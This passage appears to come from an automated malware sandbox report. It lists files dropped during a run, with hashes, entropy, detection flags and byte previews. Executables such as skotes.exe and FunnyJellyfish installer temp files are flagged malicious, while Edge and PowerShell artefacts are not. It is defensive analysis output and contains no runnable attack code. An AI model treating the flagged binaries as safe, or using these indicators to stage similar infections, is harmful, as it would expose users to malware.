Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	PNG image data, 50 x 50, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	1488239
Entropy (8bit):	7.9918373065447526
Encrypted:	true
SSDEEP:	24576:waa5ubHfr0P/Ief1bMqHfa7amHBxsBF18DfIH8SiOSSuOgBFvsCf5kYpRHVjsdUy:wuHfw/Ief1AYiamHfsfKDf/SirSuzb0n
MD5:	0107549747C5B5AD67177FB0EF433535
SHA1:	FD4AEC4A5476D813CC42B3BDC0B8845AC0E7416D
SHA-256:	2BC41D3EDD3052BC2B486CDB18145E0857361DC3D9F92D3710FCF0753A29924C
SHA-512:	D6F69B273D768667D8B659EB8D818B0A7E4269D32D24A894CBFE2BAC788FD6CCBCEC2D83196DB4F809293DDC3BBBA63DB739773BD159B8C90CBD4A5FF8AFD7C6
Malicious:	false
Preview:	.PNG........IHDR...2...2......?.....?iCCPICC Profile..H..W.XS...[.....@@J.M......B..6B. ...A...v...].Q..bG.,../.T.u.`W............9.3...{....<.$... _\(...d.JMc.......8.K..@......../..D.^q.k.....-.......q......~...DZ..Q.[L..1.@G...x..g)q..g(.n.Mb<..V..<.4...%.3..YP.....X ....../?....t.m...b.>+.....if.j.xY.X9.EQ...H.xS..t..'..a.+5[../.3......rL..G.....6..D..=.(%[....G.....3...........!..H...)..B.W.:YT.M.X........F.x./.!S.a...<....}Yn.[..:[.U.c......).[....!.C.T......Y.........[B./......LiH..,.``...l.7Z...f'.)..y...\.KB1;i@GX0r`..aP.r..3.8)A..AR.....S$y.{.\....!v+(JP....T....De.xq./<V....D....L .5.L.9@......=!... ............k.(..B$.......BP........2..E....... ...{.b.x.[2x...?..`..x.`...{~...!..bd.......`b.1..B...q?......X]p..50....'...C.5B'..xQ...(.@'..Q."..\..P....}.:T..pC...A?l..zv.,G..<+...6......LF.C..d.G.....\...e..........C............`'.s.a..0.cX........X.....+..:....x..L.8.:w;.Q...'...3A2E*...d...A...N......./...8.w..k.......c.....s......

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_1knuhyxt.cmo.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_tcpl0in1.ggr.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Download File

Process:	C:\Users\user\DocumentsHCAEHJJKFC.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1927680
Entropy (8bit):	7.952173231018088
Encrypted:	false
SSDEEP:	49152:FWpKS5ThF8/65kDlsW+eN3hyN0T3VsPhGlhFr5:FWcSKUkDlsJ0q0lfr
MD5:	6AED281D1464E3A53839BBD9E7190535
SHA1:	8EA6E9EC2EB3970E0C361538FB6DBD074E5FA6C2
SHA-256:	A20ABE49E71912D860044FDF813C7FB90F32FDE51097DB4B689CAC9C8F7A9AC9
SHA-512:	3D3312DBC5D3537143F8EE75097E9DFA5A88C59B3D0079461A6878BA1AAFA232A131E8078DBF08D5E62BDD84F5833E900D4B8E0F37E80B3BBCAB996B725E5366
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 47%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........-I..C...C...C...@...C...F.B.C.6.G...C.6.@...C.6.F...C...G...C...B...C...B.5.C.x.J...C.x.....C.x.A...C.Rich..C.........................PE..L....V.f.............................pL...........@...........................L.....f.....@.................................W...k.......H....................[L.............................t[L..................................................... . ............................@....rsrc...H...........................@....idata ............................@... .`+.........................@...fjmpujlc.P....2..L..................@...jlhbczjq.....`L......D..............@....taggant.0...pL.."...H..............@...................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\cv_debug.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1420
Entropy (8bit):	5.400134988960983
Encrypted:	false
SSDEEP:	24:YK0bl5r75riCe0qW+5Ua02EHP5IKL0jZ5JwbX/B+L0v4L5kaq50vIY5M:YK0bl5r75riN0qW+5Ua02sP5IKL0jZ5y
MD5:	AA12B398AE0BF2E53545DB5D0F3F5889
SHA1:	9CE93A2E895DFD245E50A2F6718AD6C174D994D1
SHA-256:	2F2D49D382F04C9007DDA7150595C5540C99E0F25BF07B99930E5D5C8397C2D3
SHA-512:	716CC79C454707FEE1AD130C1B6ADF2657D4B4042BCB129A3A82A884194FE306BC097A37C9B9FE33B90BD05AE323538DDEEF450A3611842A63AFC3144DD9F7D8
Malicious:	false
Preview:	{"logTime": "1005/074019", "correlationVector":"Jzai6BfByv5amZ45/NBe5r","action":"EXTENSION_UPDATER", "result":""}.{"logTime": "1005/074027", "correlationVector":"eO8FwRQNRwFtIUhPNa0yBN","action":"EXTENSION_UPDATER", "result":""}.{"logTime": "1005/074027", "correlationVector":"DFCC0B139A2547CAA3433B33892C7FE6","action":"FETCH_UX_CONFIG", "result":""}.{"logTime": "1005/075031", "correlationVector":"bWXPYvVSVVANvrGBV6dHxn","action":"EXTENSION_UPDATER", "result":""}.{"logTime": "1005/075032", "correlationVector":"4CD8E3A1D096444AAB77DA6A690C4356","action":"FETCH_UX_CONFIG", "result":""}.{"logTime": "1005/075123", "correlationVector":"t3DmiSvoNTibe+/mLDIMfl","action":"EXTENSION_UPDATER", "result":""}.{"logTime": "1005/075124", "correlationVector":"B2B504519464422FA5C6E610072CF270","action":"FETCH_UX_CONFIG", "result":""}.{"logTime": "1005/075313", "correlationVector":"/q9eTq3f/ZawbQrLDVWKju","action":"EXTENSION_UPDATER", "result":""}.{"logTime": "1005/075314", "correlationVector":"138D0C7D

C:\Users\user\AppData\Local\Temp\daee817e-e190-4e61-ac1c-61a886801243.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Google Chrome extension, version 3
Category:	dropped
Size (bytes):	11185
Entropy (8bit):	7.951995436832936
Encrypted:	false
SSDEEP:	192:YEKh1jNlwQbamjq6Bcykrs3kAVg55GzVQM5F+XwsxNv7/lsoltBq0WG4ZeJTmrRb:fKT/BAzA05Gn5F+XV7NNltrWG4kJTm1b
MD5:	78E47DDA17341BED7BE45DCCFD89AC87
SHA1:	1AFDE30E46997452D11E4A2ADBBF35CCE7A1404F
SHA-256:	67D161098BE68CD24FEBC0C7B48F515F199DDA72F20AE3BBB97FCF2542BB0550
SHA-512:	9574A66D3756540479DC955C4057144283E09CAE11CE11EBCE801053BB48E536E67DC823B91895A9E3EE8D3CB27C065D5E9030C39A26CBF3F201348385B418A5
Malicious:	false
Preview:	Cr24..............0.."0....H.............0.........N.......E#......9e.u.q...VYY..@.+.C..k.O..bK.`..6.G..%.....3Z...e _.6....F..1p..K.Z......./ .3...OT..`..0...Y...FT..43.th.y...}....p.L...2S.&i.`..o...f.oH.....N..:..ijT.3.F{.0.,.f?'f.CQt;b_"Pc.. ..~S.I.c.8Z.;.....{G.a......k...>.`.o..%.$>;.....g.............jg?.R..@.:..........&..{...x@.Py..;kT....%F".S..w...N....9...A..@X.t!i.@..1;......1E..X.....[.~$....J......;=T.;)k..Y...$......S......M.P..P..>..=..u.....2p...w.9..1qw.a\A..Vj .C.....A..Cf1.r6.A...L. _m...[..l.Wr_../.. .B..9!.!+..ZG.K.......0.."0....H.............0.........^SUd%Q.L].......Cl2o...\[.....'*...;R=....N.C5....d. .....J.C>u.kr..Y..syJC.XS.q..E.n?....(G.5..)2.G..!.M.SS.{..U....!.EE..M[.#qs.A.1...g)nQ.c..G....Bd..7... .O.BI..KXQ..4.d.K.0......g.....-p....Z.E{...M&.~n.TE7..{0....5.#.C+3.y)pd9.e.........@..3.9..B.....I....2nX........2.?.~..S....]G.N.....Lr.O.Ve....9..D1.G..W)...P.?=.#..7.R.lz..a.wX.e..h.h.~....v..RP.@X....d.G

C:\Users\user\AppData\Local\Temp\de647c73-1f17-43b8-881f-53b29a7fe328.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:L:L
MD5:	5058F1AF8388633F609CADB75A75DC9D
SHA1:	3A52CE780950D4D969792A2559CD519D7EE8C727
SHA-256:	CDB4EE2AEA69CC6A83331BBE96DC2CAA9A299D21329EFB0336FC02A82E1839A8
SHA-512:	0B61241D7C17BCBB1BAEE7094D14B7C451EFECC7FFCBD92598A0F13D313CC9EBC2A07E61F007BAF58FBF94FF9A8695BDD5CAE7CE03BBF1E94E93613A00F25F21
Malicious:	false
Preview:	.

C:\Users\user\AppData\Local\Temp\e2ccb6fb-5a68-4651-abca-1236c97be0a1.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JPEG image data, Exif standard: [TIFF image data, little-endian, direntries=0], baseline, precision 8, 1366x720, components 3
Category:	dropped
Size (bytes):	206855
Entropy (8bit):	7.983996634657522
Encrypted:	false
SSDEEP:	3072:5WcDW3D2an0GMJGqJCj+1ZxdmdopHjHTFYPQyairiVoo4XSWrPoiXvJddppWmEI5:l81Lel7E6lEMVo/S01fDpWmEgD
MD5:	788DF0376CE061534448AA17288FEA95
SHA1:	C3B9285574587B3D1950EE4A8D64145E93842AEB
SHA-256:	B7FB1D3C27E04785757E013EC1AC4B1551D862ACD86F6888217AB82E642882A5
SHA-512:	3AA9C1AA00060753422650BBFE58EEEA308DA018605A6C5287788C3E2909BE876367F83B541E1D05FE33F284741250706339010571D2E2D153A5C5A107D35001
Malicious:	false
Preview:	......Exif..II.................Ducky.......2......Adobe.d...........................................................#"""#''''''''''..................................................!! !!''''''''''........V.."....................................................................................!1..AQ..aq."2....R..T....Br.#S.U..b..3Cs...t6.c.$D.5uV...4d.E&....%F......................!1..AQaq....."2......BRbr3CS....#..4.............?......1f.n..T......TP....E...........P.....@.........E..@......E.P........@........E.....P.P..A@@.E..@.P.P..AP.P..AP..@....T..AP.E..P.Z .. ....."... .....7.H...w.....t.....T....M.."... P..n.n..t5..B.P..(......................................( .................... .".... .".......(.. ."....... ....o......E.6... ....."........."J......Ah......@.@@....:@{6..wCp..3...((.(.........................@..(...."............................ ........T.......@.@@........AP.P..@.E@....E@.d.E@.@@..@.P.T..@..@..P.D...@M........EO..."...=.wCp.....R......P.@......

C:\Users\user\AppData\Local\Temp\is-6E60U.tmp\_isetup\_setup64.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-Q5AID.tmp\FunnyJellyfish.tmp
File Type:	PE32+ executable (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	6144
Entropy (8bit):	4.215994423157539
Encrypted:	false
SSDEEP:	96:sfkcXegaJ/ZAYNzcld1xaX12pS5SKvkc:sfJEVYlvxaX12EF
MD5:	4FF75F505FDDCC6A9AE62216446205D9
SHA1:	EFE32D504CE72F32E92DCF01AA2752B04D81A342
SHA-256:	A4C86FC4836AC728D7BD96E7915090FD59521A9E74F1D06EF8E5A47C8695FD81
SHA-512:	BA0469851438212D19906D6DA8C4AE95FF1C0711A095D9F21F13530A6B8B21C3ACBB0FF55EDB8A35B41C1A9A342F5D3421C00BA395BC13BB1EF5902B979CE824
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......^...............l...............=\......=\......=\......Rich............................PE..d...XW:J..........#............................@.............................`..............................................................<!.......P..@....@..0.................................................................... ...............................text............................... ..`.rdata..\|.... ......................@..@.data...,....0......................@....pdata..0....@......................@..@.rsrc...@....P......................@..@................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\is-6E60U.tmp\_isetup\_shfoldr.dll

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-Q5AID.tmp\FunnyJellyfish.tmp
File Type:	PE32 executable (DLL) (GUI) Intel 80386 (stripped to external PDB), for MS Windows
Category:	modified
Size (bytes):	23312
Entropy (8bit):	4.596242908851566
Encrypted:	false
SSDEEP:	384:+Vm08QoKkiWZ76UJuP71W55iWHHoSHigH2euwsHTGHVb+VHHmnH+aHjHqLHxmoq1:2m08QotiCjJuPGw4
MD5:	92DC6EF532FBB4A5C3201469A5B5EB63
SHA1:	3E89FF837147C16B4E41C30D6C796374E0B8E62C
SHA-256:	9884E9D1B4F8A873CCBD81F8AD0AE257776D2348D027D811A56475E028360D87
SHA-512:	9908E573921D5DBC3454A1C0A6C969AB8A81CC2E8B5385391D46B1A738FB06A76AA3282E0E58D0D2FFA6F27C85668CD5178E1500B8A39B1BBAE04366AE6A86D3
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......IzJ^..$...$...$...%.".$.T87...$.[."...$...$...$.Rich..$.........................PE..L.....\;...........#..... ...4.......'.......0.....q....................................................................k...l)..<....@.../...................p..T....................................................................................text...{........ .................. ..`.data...\....0.......&..............@....rsrc..../...@...0...(..............@..@.reloc.......p.......X..............@..B................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\is-D0LMC.tmp\FunnyJellyfish.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\1008010001\FunnyJellyfish.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	modified
Size (bytes):	1160704
Entropy (8bit):	6.3941502469827425
Encrypted:	false
SSDEEP:	24576:MYwCLCUplZhgjXj8YcgoniqO3CBiO0jaS+EtjC67V5MNx9XU:3GUhni7iSFCQGu
MD5:	14C6FA8E50B4147075EB922BD0C8B28D
SHA1:	0FAAD18B0E26CE3B5C364621A4F0AEE9DB56A9A7
SHA-256:	90C4A61AF494B63ECFE1226714175675A4E49E57D50718491B3BC8FE29DD8FC7
SHA-512:	E6C35BBCAA9A8BB306E58BB91AADF5FEED6B1AD1DF6EE0E68BF3BAE9B76D84C862B4EE9DD87A1D288FE1B7AAAAC13467964436A09EC529F67AF50905CD0EF876
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 2%
Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L...V..O..........................................@..............................................@...............................7......<...........................................................................X...x............................text...<........................... ..`.itext.............................. ..`.data..../.......0..................@....bss....pa...............................idata...7.......8..................@....tls....<............ ...................rdata............... ..............@..@.rsrc...<............"..............@..@....................................@..@........................................................................................................................................

C:\Users\user\AppData\Local\Temp\is-FSOGC.tmp\_isetup\_setup64.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-D0LMC.tmp\FunnyJellyfish.tmp
File Type:	PE32+ executable (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	6144
Entropy (8bit):	4.215994423157539
Encrypted:	false
SSDEEP:	96:sfkcXegaJ/ZAYNzcld1xaX12pS5SKvkc:sfJEVYlvxaX12EF
MD5:	4FF75F505FDDCC6A9AE62216446205D9
SHA1:	EFE32D504CE72F32E92DCF01AA2752B04D81A342
SHA-256:	A4C86FC4836AC728D7BD96E7915090FD59521A9E74F1D06EF8E5A47C8695FD81
SHA-512:	BA0469851438212D19906D6DA8C4AE95FF1C0711A095D9F21F13530A6B8B21C3ACBB0FF55EDB8A35B41C1A9A342F5D3421C00BA395BC13BB1EF5902B979CE824
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......^...............l...............=\......=\......=\......Rich............................PE..d...XW:J..........#............................@.............................`..............................................................<!.......P..@....@..0.................................................................... ...............................text............................... ..`.rdata..\|.... ......................@..@.data...,....0......................@....pdata..0....@......................@..@.rsrc...@....P......................@..@................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\is-FSOGC.tmp\_isetup\_shfoldr.dll

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-D0LMC.tmp\FunnyJellyfish.tmp
File Type:	PE32 executable (DLL) (GUI) Intel 80386 (stripped to external PDB), for MS Windows
Category:	dropped
Size (bytes):	23312
Entropy (8bit):	4.596242908851566
Encrypted:	false
SSDEEP:	384:+Vm08QoKkiWZ76UJuP71W55iWHHoSHigH2euwsHTGHVb+VHHmnH+aHjHqLHxmoq1:2m08QotiCjJuPGw4
MD5:	92DC6EF532FBB4A5C3201469A5B5EB63
SHA1:	3E89FF837147C16B4E41C30D6C796374E0B8E62C
SHA-256:	9884E9D1B4F8A873CCBD81F8AD0AE257776D2348D027D811A56475E028360D87
SHA-512:	9908E573921D5DBC3454A1C0A6C969AB8A81CC2E8B5385391D46B1A738FB06A76AA3282E0E58D0D2FFA6F27C85668CD5178E1500B8A39B1BBAE04366AE6A86D3
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......IzJ^..$...$...$...%.".$.T87...$.[."...$...$...$.Rich..$.........................PE..L.....\;...........#..... ...4.......'.......0.....q....................................................................k...l)..<....@.../...................p..T....................................................................................text...{........ .................. ..`.data...\....0.......&..............@....rsrc..../...@...0...(..............@..@.reloc.......p.......X..............@..B................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\is-Q5AID.tmp\FunnyJellyfish.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\1008010001\FunnyJellyfish.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	modified
Size (bytes):	1160704
Entropy (8bit):	6.3941502469827425
Encrypted:	false
SSDEEP:	24576:MYwCLCUplZhgjXj8YcgoniqO3CBiO0jaS+EtjC67V5MNx9XU:3GUhni7iSFCQGu
MD5:	14C6FA8E50B4147075EB922BD0C8B28D
SHA1:	0FAAD18B0E26CE3B5C364621A4F0AEE9DB56A9A7
SHA-256:	90C4A61AF494B63ECFE1226714175675A4E49E57D50718491B3BC8FE29DD8FC7
SHA-512:	E6C35BBCAA9A8BB306E58BB91AADF5FEED6B1AD1DF6EE0E68BF3BAE9B76D84C862B4EE9DD87A1D288FE1B7AAAAC13467964436A09EC529F67AF50905CD0EF876
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 2%
Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L...V..O..........................................@..............................................@...............................7......<...........................................................................X...x............................text...<........................... ..`.itext.............................. ..`.data..../.......0..................@....bss....pa...............................idata...7.......8..................@....tls....<............ ...................rdata............... ..............@..@.rsrc...<............"..............@..@....................................@..@........................................................................................................................................

C:\Users\user\AppData\Local\Temp\scoped_dir5188_16115946\CRX_INSTALL\_metadata\verified_contents.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1753
Entropy (8bit):	5.8889033066924155
Encrypted:	false
SSDEEP:	48:Pxpr7Xka2NXDpfsBJODI19Kg1JqcJW9O//JE3ZBDcpu/x:L3XgNSz9/4kIO3u3Xgpq
MD5:	738E757B92939B24CDBBD0EFC2601315
SHA1:	77058CBAFA625AAFBEA867052136C11AD3332143
SHA-256:	D23B2BA94BA22BBB681E6362AE5870ACD8A3280FA9E7241B86A9E12982968947
SHA-512:	DCA3E12DD5A9F1802DB6D11B009FCE2B787E79B9F730094367C9F26D1D87AF1EA072FF5B10888648FB1231DD83475CF45594BB0C9915B655EE363A3127A5FFC2
Malicious:	false
Preview:	[.. {.. "description": "treehash per file",.. "signed_content": {.. "payload": "eyJpdGVtX2lkIjoiam1qZmxnanBjcGVwZWFmbW1nZHBma29na2doY3BpaGEiLCJpdGVtX3ZlcnNpb24iOiIxLjIuMSIsInByb3RvY29sX3ZlcnNpb24iOjEsImNvbnRlbnRfaGFzaGVzIjpbeyJmb3JtYXQiOiJ0cmVlaGFzaCIsImRpZ2VzdCI6InNoYTI1NiIsImJsb2NrX3NpemUiOjQwOTYsImhhc2hfYmxvY2tfc2l6ZSI6NDA5NiwiZmlsZXMiOlt7InBhdGgiOiJjb250ZW50LmpzIiwicm9vdF9oYXNoIjoiQS13R1JtV0VpM1lybmxQNktneUdrVWJ5Q0FoTG9JZnRRZGtHUnBEcnp1QSJ9LHsicGF0aCI6ImNvbnRlbnRfbmV3LmpzIiwicm9vdF9oYXNoIjoiVU00WVRBMHc5NFlqSHVzVVJaVTFlU2FBSjFXVENKcHhHQUtXMGxhcDIzUSJ9LHsicGF0aCI6Im1hbmlmZXN0Lmpzb24iLCJyb290X2hhc2giOiJKNXYwVTkwRmN0ejBveWJMZmZuNm5TbHFLU0h2bHF2YkdWYW9FeWFOZU1zIn1dfV19",.. "signatures": [.. {.. "header": {.. "kid": "publisher".. },.. "protected": "eyJhbGciOiJSUzI1NiJ9",.. "signature": "UglEEilkOml5P1W0X6wc-_dB87PQB73uMir11923av57zPKujb4IUe_lbGpn7cRZsy6x-8i9eEKxAW7L2TSmYqrcp4XtiON6ppcf27FWACXOUJDax9wlMr-EOtyZhykCnB9vR

C:\Users\user\AppData\Local\Temp\scoped_dir5188_16115946\CRX_INSTALL\content.js

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Unicode text, UTF-8 text, with very long lines (8031), with no line terminators
Category:	dropped
Size (bytes):	9815
Entropy (8bit):	6.1716321262973315
Encrypted:	false
SSDEEP:	192:+ThBV4L3npstQp6VRtROQGZ0UyVg4jq4HWeGBnUi65Ep4HdlyKyjFN3zEScQZBMX:+ThBVq3npozftROQIyVfjRZGB365Ey97
MD5:	3D20584F7F6C8EAC79E17CCA4207FB79
SHA1:	3C16DCC27AE52431C8CDD92FBAAB0341524D3092
SHA-256:	0D40A5153CB66B5BDE64906CA3AE750494098F68AD0B4D091256939EEA243643
SHA-512:	315D1B4CC2E70C72D7EB7D51E0F304F6E64AC13AE301FD2E46D585243A6C936B2AD35A0964745D291AE9B317C316A29760B9B9782C88CC6A68599DB531F87D59
Malicious:	false
Preview:	(()=>{"use strict";var e={1:(e,o)=>{Object.defineProperty(o,"__esModule",{value:!0}),o.newCwsPromotionalButtonCta=o.chromeToEdgeCwsButtonCtaMapping=void 0,o.chromeToEdgeCwsButtonCtaMapping={"...... ... Chrome":"...... ....","........ .. Chrome":".....",........:"..........",".......... .. Chrome":"..........","Chrome . .....":"...","Chrome .... ....":"....","Afegeix a Chrome":"Obt.n","Suprimeix de Chrome":"Suprimeix","P.idat do Chromu":"Z.skat","Odstranit z Chromu":"Odebrat","F.j til Chrome":"F.","Fjern fra Chrome":"Fjerne",Hinzuf.gen:"Abrufen","Aus Chrome entfernen":"Entfernen","Add to Chrome":"Get","Remove from Chrome":"Remove","A.adir a Chrome":"Obtener",Desinstalar:"Quitar","Agregar a Chrome":"Obtener","Eliminar de Chrome":"Quitar","Lisa Chrome'i":"Hangi","Chrome'ist eemaldamine":"Eemalda",.......H:"........","......... ... .. Chr

C:\Users\user\AppData\Local\Temp\scoped_dir5188_16115946\CRX_INSTALL\content_new.js

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Unicode text, UTF-8 text, with very long lines (8604), with no line terminators
Category:	dropped
Size (bytes):	10388
Entropy (8bit):	6.174387413738973
Encrypted:	false
SSDEEP:	192:+ThBV4L3npstQp6VRtROQGZ0UyVg4jq4HWeGBnUi65Ep4HdlyKyjFN3EbmE1F4fn:+ThBVq3npozftROQIyVfjRZGB365Ey9+
MD5:	3DE1E7D989C232FC1B58F4E32DE15D64
SHA1:	42B152EA7E7F31A964914F344543B8BF14B5F558
SHA-256:	D4AA4602A1590A4B8A1BCE8B8D670264C9FB532ADC97A72BC10C43343650385A
SHA-512:	177E5BDF3A1149B0229B6297BAF7B122602F7BD753F96AA41CCF2D15B2BCF6AF368A39BB20336CCCE121645EC097F6BEDB94666C74ACB6174EB728FBFC43BC2A
Malicious:	false
Preview:	(()=>{"use strict";var e={1:(e,o)=>{Object.defineProperty(o,"__esModule",{value:!0}),o.newCwsPromotionalButtonCta=o.chromeToEdgeCwsButtonCtaMapping=void 0,o.chromeToEdgeCwsButtonCtaMapping={"...... ... Chrome":"...... ....","........ .. Chrome":".....",........:"..........",".......... .. Chrome":"..........","Chrome . .....":"...","Chrome .... ....":"....","Afegeix a Chrome":"Obt.n","Suprimeix de Chrome":"Suprimeix","P.idat do Chromu":"Z.skat","Odstranit z Chromu":"Odebrat","F.j til Chrome":"F.","Fjern fra Chrome":"Fjerne",Hinzuf.gen:"Abrufen","Aus Chrome entfernen":"Entfernen","Add to Chrome":"Get","Remove from Chrome":"Remove","A.adir a Chrome":"Obtener",Desinstalar:"Quitar","Agregar a Chrome":"Obtener","Eliminar de Chrome":"Quitar","Lisa Chrome'i":"Hangi","Chrome'ist eemaldamine":"Eemalda",.......H:"........","......... ... .. Chr

C:\Users\user\AppData\Local\Temp\scoped_dir5188_16115946\CRX_INSTALL\manifest.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	962
Entropy (8bit):	5.698567446030411
Encrypted:	false
SSDEEP:	24:1Hg9+D3DRnbuF2+sUrzUu+Y9VwE+Fg41T1O:NBqY+6E+F7JO
MD5:	E805E9E69FD6ECDCA65136957B1FB3BE
SHA1:	2356F60884130C86A45D4B232A26062C7830E622
SHA-256:	5694C91F7D165C6F25DAF0825C18B373B0A81EA122C89DA60438CD487455FD6A
SHA-512:	049662EF470D2B9E030A06006894041AE6F787449E4AB1FBF4959ADCB88C6BB87A957490212697815BB3627763C01B7B243CF4E3C4620173A95795884D998A75
Malicious:	false
Preview:	{.. "content_scripts": [ {.. "js": [ "content.js" ],.. "matches": [ "https://chrome.google.com/webstore/" ].. }, {.. "js": [ "content_new.js" ],.. "matches": [ "https://chromewebstore.google.com/" ].. } ],.. "description": "Edge relevant text changes on select websites to improve user experience and precisely surfaces the action they want to take.",.. "key": "MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAu06p2Mjoy6yJDUUjCe8Hnqvtmjll73XqcbylxFZZWe+MCEAEK+1D0Nxrp0+IuWJL02CU3jbuR5KrJYoezA36M1oSGY5lIF/9NhXWEx5GrosxcBjxqEsdWv/eDoOOEbIvIO0ziMv7T1SUnmAA07wwq8DXWYuwlkZU/PA0Mxx0aNZ5+QyMfYqRmMpwxkwPG8gyU7kmacxgCY1v7PmmZo1vSIEOBYrxl064w5Q6s/dpalSJM9qeRnvRMLsszGY/J2bjQ1F0O2JfIlBjCOUg/89+U8ZJ1mObOFrKO4um8QnenXtH0WGmsvb5qBNrvbWNPuFgr2+w5JYlpSQ+O8zUCb8QZwIDAQAB",.. "manifest_version": 3,.. "name": "Edge relevant text changes",.. "update_url": "https://edge.microsoft.com/extensionwebstorebase/v1/crx",.. "version": "1.2.1"..}..

C:\Users\user\AppData\Local\Temp\scoped_dir5188_16115946\daee817e-e190-4e61-ac1c-61a886801243.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Google Chrome extension, version 3
Category:	dropped
Size (bytes):	11185
Entropy (8bit):	7.951995436832936
Encrypted:	false
SSDEEP:	192:YEKh1jNlwQbamjq6Bcykrs3kAVg55GzVQM5F+XwsxNv7/lsoltBq0WG4ZeJTmrRb:fKT/BAzA05Gn5F+XV7NNltrWG4kJTm1b
MD5:	78E47DDA17341BED7BE45DCCFD89AC87
SHA1:	1AFDE30E46997452D11E4A2ADBBF35CCE7A1404F
SHA-256:	67D161098BE68CD24FEBC0C7B48F515F199DDA72F20AE3BBB97FCF2542BB0550
SHA-512:	9574A66D3756540479DC955C4057144283E09CAE11CE11EBCE801053BB48E536E67DC823B91895A9E3EE8D3CB27C065D5E9030C39A26CBF3F201348385B418A5
Malicious:	false
